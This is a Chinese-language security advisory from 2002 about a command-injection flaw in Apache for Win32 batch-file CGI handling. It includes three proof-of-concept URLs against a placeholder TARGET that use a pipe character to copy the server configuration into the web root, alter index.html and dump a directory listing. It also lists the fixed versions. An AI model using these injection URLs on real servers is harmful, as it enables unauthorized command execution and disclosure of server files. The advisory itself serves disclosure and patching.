xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Apache for win32存在任意命令可执行漏洞


发布时间:2002-03-22
更新时间:2002-03-22
严重程度:
威胁程度:普通用户访问权限
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
Apache web server (Win32)
- Apache 1.3.23
- Apache 2.0.28-BETA (默认包含了 /cgi-bin/test-cgi.bat文件)
详细描述
Apache 2.0.x默认安装下安装了/cgi-bin/test-cgi.bat批出来文件,当DOS 批处理文件(.bat或者.cmd)请求提交给APACHE WEB服务器的时候,服务器会派生一个SHELL解释程序(默认是cmd.exe),然后运行由用户发送过来的带参数脚本,远程攻击者可以发送管道字符"|"并追加命令作为传输传递给CGI脚本,可导致SHELL解释程序执行后缀命令,导致以HTTPD一般是SYSTEM权利执行任意命令。

注意不光是默认/cgi-bin/test-cgi.bat批处理文件,其他批处理文件也可以执行任意命令。

测试代码
http://TARGET/cgi-bin/test-cgi.bat?|copy+..\conf\httpd.conf+..\htdocs\httpd.conf

http://TARGET/cgi-bin/test-cgi.bat?|echo+Foobar+>>+..\htdocs\index.html

http://TARGET/cgi-bin/test-cgi.bat?|dir+c:+>..\htdocs\dir.txt

解决方案
升级apache WEB服务器到1.3.24或者2.0.34-beta版本:

http://www.apache.org/dist/httpd/

相关信息
Ory Segal (ORY.SEGAL@SANCTUMINC.COM)
参考:http://archives.neohapsis.com/archives/bugtraq/2002-03/att-0270/01-apache_advisory.txt
http://www.sanctuminc.com/
相关主页:http://www.apache.org/